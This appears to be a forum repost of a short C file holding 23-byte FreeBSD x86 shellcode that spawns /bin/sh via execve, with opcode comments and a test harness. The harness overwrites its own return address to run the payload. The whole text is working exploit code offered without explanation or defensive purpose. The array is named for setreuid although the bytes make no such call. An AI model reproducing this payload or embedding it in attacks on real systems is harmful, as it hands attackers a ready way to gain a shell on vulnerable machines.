freebsd/x86 execve /bin/sh 23 bytes
文章作者：IZ[code]/*
*
* FreeBSD_x86-execve_sh-23b-iZ.c (Shellcode, execve /bin/sh, 23 bytes)
*
* by IZ <guerrilla.sytes.net>
*
*/
char setreuidcode[] =
"\x31\xc0" /* xor %eax,%eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x54" /* push %esp */
"\x53" /* push %ebx */
"\x50" /* push %eax */
"\xb0\x3b" /* mov $0x3b,%al */
"\xcd\x80"; /* int $0x80 */
void main()
{
int* ret;
ret = (int*) &ret + 2;
printf("len %d\n",strlen(setreuidcode));
(*ret) = (int) setreuidcode;
} [/code]
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